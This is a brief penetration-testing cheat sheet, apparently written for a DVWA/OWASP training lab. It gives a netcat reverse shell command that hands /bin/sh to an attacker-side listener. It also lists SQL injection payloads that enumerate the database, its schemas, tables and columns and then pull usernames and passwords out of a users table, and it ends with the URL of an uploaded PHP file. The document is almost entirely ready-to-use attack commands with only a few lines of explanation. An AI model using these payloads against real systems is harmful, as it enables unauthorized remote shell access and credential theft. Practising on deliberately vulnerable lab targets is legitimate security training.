Revers shell using nc

nc –e /bin/sh 192.168.100.104 8888

In attacker console

Listening on port 8888 using command nc –lvp 8888

When you execute the command in victim machine you will get shell access

SQLI

'or 1=1—

'union select 1,@@version#

'union select null,@@hostname #

'union all select system\_user(),user() #

'union select null,database() #

'union select null,schema\_name from information\_schema.schemata #

'union select null,table\_name from information\_schema.tables #

' union select null,table\_name from information\_schema.tables where table\_schema = 'owasp10' #

'union select null,concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name= 'users' #

'union select null,concat(first\_name,0x0a,password) from users #

File upload

<http://192.168.100.10/dvwa/hackable/uploads/uname.php>